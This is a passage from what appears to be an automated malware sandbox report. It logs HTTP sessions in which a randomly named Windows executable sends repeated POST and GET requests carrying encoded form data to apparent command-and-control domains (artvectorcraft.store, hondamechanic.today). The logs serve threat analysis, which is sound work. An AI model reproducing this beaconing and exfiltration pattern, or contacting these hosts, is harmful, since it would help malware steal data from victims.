OdjTHtuX=Mepd0knFZBCM4CeS0gg2KYsuiT32vFzOrfiiqStUV35WtoYuJg027MHJqZDAcbzg6TttsmSgncS3vxlA3Vq7mw3z1NV6wo8A/cl5UQQXaytmoHOt7AfQ+B18Cn9cq/NKiY7brVs70XnVxI6K7W0WJqE5JSFvjIaoQNgRf8l2ticTZgpNbcTHX+rosU41FcfkindgJwYJRJ1W
Jul 3, 2024 17:59:17.305421114 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:59:17 GMT Content-Type: text/html; charset=UTF-8 Server: ghs Content-Length: 1566 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Jul 3, 2024 17:59:17.305635929 CEST	537	IN	Data Raw: 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d Data Ascii: oglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49772	142.250.74.211	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:59:19.197988987 CEST	650	OUT	POST /s0j2/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.artvectorcraft.store Origin: http://www.artvectorcraft.store Referer: http://www.artvectorcraft.store/s0j2/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 4d 65 70 64 30 6b 6e 46 5a 42 43 4d 71 79 4f 53 34 6e 4d 32 4e 34 73 68 6e 54 33 32 6b 6c 7a 4b 72 66 6d 69 71 58 55 4a 56 46 4e 57 75 4d 55 75 4b 69 4d 32 36 4d 48 4a 69 35 44 46 53 37 7a 72 36 54 78 54 73 6e 75 67 6e 61 2b 33 76 7a 39 41 30 69 65 38 6d 67 33 4c 35 74 56 6b 2f 49 38 41 2f 63 6c 35 55 55 35 34 61 79 31 6d 6f 33 65 74 70 31 6a 54 67 52 31 2f 42 6e 39 63 68 66 4e 57 69 59 37 35 72 52 73 43 30 56 76 56 78 4e 65 4b 31 6e 30 58 41 71 45 2f 48 79 46 68 72 62 44 53 59 64 77 63 47 76 78 4b 39 41 6c 30 52 32 6f 58 48 76 54 6b 46 75 4c 71 73 57 67 48 46 38 66 4f 67 6e 6c 67 62 6e 55 75 65 39 51 31 69 37 4f 59 35 77 4b 41 5a 51 78 6f 4a 4c 74 74 32 75 45 71 38 41 3d 3d Data Ascii: OdjTHtuX=Mepd0knFZBCMqyOS4nM2N4shnT32klzKrfmiqXUJVFNWuMUuKiM26MHJi5DFS7zr6TxTsnugna+3vz9A0ie8mg3L5tVk/I8A/cl5UU54ay1mo3etp1jTgR1/Bn9chfNWiY75rRsC0VvVxNeK1n0XAqE/HyFhrbDSYdwcGvxK9Al0R2oXHvTkFuLqsWgHF8fOgnlgbnUue9Q1i7OY5wKAZQxoJLtt2uEq8A==
Jul 3, 2024 17:59:19.885412931 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:59:19 GMT Content-Type: text/html; charset=UTF-8 Server: ghs Content-Length: 1566 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Jul 3, 2024 17:59:19.885433912 CEST	537	IN	Data Raw: 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d Data Ascii: oglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	49773	142.250.74.211	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:59:21.734000921 CEST	1663	OUT	POST /s0j2/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.artvectorcraft.store Origin: http://www.artvectorcraft.store Referer: http://www.artvectorcraft.store/s0j2/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 4d 65 70 64 30 6b 6e 46 5a 42 43 4d 71 79 4f 53 34 6e 4d 32 4e 34 73 68 6e 54 33 32 6b 6c 7a 4b 72 66 6d 69 71 58 55 4a 56 46 31 57 75 2f 63 75 49 46 59 32 35 4d 48 4a 2b 70 44 45 53 37 7a 79 36 54 70 66 73 6e 6a 56 6e 66 69 33 75 51 31 41 78 51 32 38 7a 51 33 4c 6b 39 56 35 77 6f 38 56 2f 59 35 31 55 51 56 34 61 79 31 6d 6f 78 61 74 2b 77 66 54 69 52 31 38 43 6e 38 54 71 2f 4e 71 69 5a 65 47 72 52 67 4e 31 6c 50 56 79 74 4f 4b 34 78 6f 58 50 71 45 39 4b 53 45 6e 72 62 2f 33 59 64 74 6c 47 73 74 67 39 41 52 30 42 6e 4e 56 43 50 50 37 62 6f 58 74 2f 45 51 39 4f 49 75 35 6f 78 74 48 58 30 67 6f 52 66 63 4c 76 65 4b 46 34 44 37 6e 4d 43 68 55 4c 74 41 4d 6a 4b 4a 6d 68 78 68 6f 38 31 6a 62 50 32 70 72 4a 70 46 4c 62 78 4c 4e 69 67 66 4c 67 49 4b 42 35 51 38 63 66 73 47 5a 61 30 32 65 73 46 59 56 4d 46 57 35 79 53 51 30 35 38 53 47 71 4b 2f 68 69 50 77 58 61 55 67 6e 33 6f 56 75 59 74 71 38 4c 73 62 36 31 48 55 41 4f 50 68 37 65 56 49 44 64 70 4d 6f 55 58 43 2f 69 78 45 36 72 [TRUNCATED] Data Ascii: OdjTHtuX=Mepd0knFZBCMqyOS4nM2N4shnT32klzKrfmiqXUJVF1Wu/cuIFY25MHJ+pDES7zy6TpfsnjVnfi3uQ1AxQ28zQ3Lk9V5wo8V/Y51UQV4ay1moxat+wfTiR18Cn8Tq/NqiZeGrRgN1lPVytOK4xoXPqE9KSEnrb/3YdtlGstg9AR0BnNVCPP7boXt/EQ9OIu5oxtHX0goRfcLveKF4D7nMChULtAMjKJmhxho81jbP2prJpFLbxLNigfLgIKB5Q8cfsGZa02esFYVMFW5ySQ058SGqK/hiPwXaUgn3oVuYtq8Lsb61HUAOPh7eVIDdpMoUXC/ixE6rbs8DC+Wf10Ho9YlOxlVBUpD2/G88bqhuN5xqG1WeRP8R0oXZII+eMtGPoWOwZaTWTDsYXFsqchWd+uBa2rcEtTlK+PTJetVG2Mkolj0cjjkSi4Kwv9eB6fONmznvLhHgOFz1ouycajXQ+OAKt16yrDqEMnC2D3ZPEDAPRPO+PbglzswYOM1lQNhqnDrt6WlomESUVO5stRxvrMmceXRrVmAjiyfK/x1P88b7kA4IXl+p4IGKcdOh3rOF+Xx9BHYHzpKZ/iJNxb8673CIuaIA1LgcLnDESQL+sSkQzBHqvVzDWIwTxYrXA3T/f/nfWX/4MJGiapTj+deMH/xkBbAXp0yXppeZJKD5k0Oy9YeqrO9ZH1BfEykuLT+oLNmXUCBm7lZXrytjIFKWDrv4oO32LavnV1+T4V3gW3CM3HlC5BVmG8xy/xk5ckVm2WwMqXfizess7ID1T3rSrsLAnw1ILu/qKZXLJPiDr905kqhLgWz4nitLSuaAwa07gR4uaV3Po7ptGo+3dWG7MIsGbEat6epZxUWOBRom8Chw20+XHae99HUSDUMhts3YOnLY9xcPi00+r6Vl1wN39f3krvk9AeHX/S2BsIA6XbFYh6BHAWwM3bTeiczNnu+oqztSYdGgJlUSGx84BPcEcSj3p9kxOqqI8o8XXJEC8J [TRUNCATED]
Jul 3, 2024 17:59:22.353934050 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:59:22 GMT Content-Type: text/html; charset=UTF-8 Server: ghs Content-Length: 1566 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Jul 3, 2024 17:59:22.358095884 CEST	537	IN	Data Raw: 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d Data Ascii: oglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	49774	142.250.74.211	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:59:24.259685993 CEST	353	OUT	GET /s0j2/?OdjTHtuX=BcB93STIeRzesDqYzmgjF/8Aqg2qoGbugvfC7gVQd0Epq+RTfyEF6eLz+ZShIqPWgjFYuR+pkePM3whd8giEyH2988JCuLY+vIFLWxAqbBoWpgzIu1DPnhlaAUBnkOtEvd711RA=&Y6vp=3PLd8j HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.artvectorcraft.store User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:59:24.911488056 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:59:24 GMT Content-Type: text/html; charset=UTF-8 Server: ghs Content-Length: 1728 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Jul 3, 2024 17:59:24.913105011 CEST	699	IN	Data Raw: 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d Data Ascii: oglelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49775	64.190.62.22	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:59:38.291156054 CEST	623	OUT	POST /pv57/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.hondamechanic.today Origin: http://www.hondamechanic.today Referer: http://www.hondamechanic.today/pv57/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 33 57 30 70 4e 37 57 4e 79 2b 55 52 6c 61 52 62 58 63 58 39 61 47 55 39 6f 55 65 2b 4c 61 4b 43 2f 2f 4c 4a 33 5a 69 41 55 2f 48 55 50 4e 6b 58 45 61 36 63 68 36 6d 78 65 62 68 4c 63 69 31 75 4b 57 49 57 76 73 46 75 6c 50 52 63 45 35 70 45 44 42 65 47 35 68 4a 48 33 62 48 56 72 69 6b 65 70 78 72 4b 77 54 50 74 51 54 53 5a 44 68 6a 4d 76 70 70 4e 6c 77 67 53 65 38 47 69 37 62 77 64 71 2f 51 49 42 50 6a 36 34 47 74 72 74 54 49 50 39 76 34 6e 78 61 65 72 30 6d 73 35 5a 39 33 32 6f 6f 42 43 30 5a 2f 6b 43 77 4f 6f 42 69 46 39 74 4f 50 55 61 35 77 47 6f 6c 50 48 39 58 49 6d 64 76 32 34 4e 71 46 6e 4e 48 50 79 Data Ascii: OdjTHtuX=3W0pN7WNy+URlaRbXcX9aGU9oUe+LaKC//LJ3ZiAU/HUPNkXEa6ch6mxebhLci1uKWIWvsFulPRcE5pEDBeG5hJH3bHVrikepxrKwTPtQTSZDhjMvppNlwgSe8Gi7bwdq/QIBPj64GtrtTIP9v4nxaer0ms5Z932ooBC0Z/kCwOoBiF9tOPUa5wGolPH9XImdv24NqFnNHPy
Jul 3, 2024 17:59:38.943396091 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Wed, 03 Jul 2024 15:59:38 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49776	64.190.62.22	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:59:40.822772026 CEST	647	OUT	POST /pv57/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.hondamechanic.today Origin: http://www.hondamechanic.today Referer: http://www.hondamechanic.today/pv57/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 33 57 30 70 4e 37 57 4e 79 2b 55 52 6a 36 42 62 56 37 37 39 4f 57 55 69 72 55 65 2b 43 36 4b 4f 2f 2f 50 4a 33 64 36 51 56 4c 72 55 50 74 55 58 57 4f 57 63 74 61 6d 78 57 37 68 30 57 43 31 31 4b 57 4e 70 76 74 70 75 6c 50 46 63 45 38 4e 45 43 32 71 4a 32 52 4a 46 38 37 48 58 6c 43 6b 65 70 78 72 4b 77 58 76 58 51 54 36 5a 44 52 54 4d 76 49 70 4d 73 51 67 64 66 38 47 69 78 4c 78 55 71 2f 51 71 42 4c 69 66 34 45 46 72 74 53 55 50 39 36 4d 6b 6f 4b 66 67 77 6d 74 79 4b 73 53 63 69 49 63 39 39 59 37 6f 58 79 65 4a 4e 30 45 6e 78 39 50 33 49 70 51 45 6f 6e 58 31 39 33 49 4d 66 76 4f 34 66 39 4a 41 43 7a 71 52 62 72 2b 38 52 73 65 32 6d 62 44 34 4b 79 6f 74 78 6a 34 38 63 51 3d 3d Data Ascii: OdjTHtuX=3W0pN7WNy+URj6BbV779OWUirUe+C6KO//PJ3d6QVLrUPtUXWOWctamxW7h0WC11KWNpvtpulPFcE8NEC2qJ2RJF87HXlCkepxrKwXvXQT6ZDRTMvIpMsQgdf8GixLxUq/QqBLif4EFrtSUP96MkoKfgwmtyKsSciIc99Y7oXyeJN0Enx9P3IpQEonX193IMfvO4f9JACzqRbr+8Rse2mbD4Kyotxj48cQ==
Jul 3, 2024 17:59:41.482255936 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Wed, 03 Jul 2024 15:59:41 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49777	64.190.62.22	80

Timestamp	Bytes transferred	Direction	Data
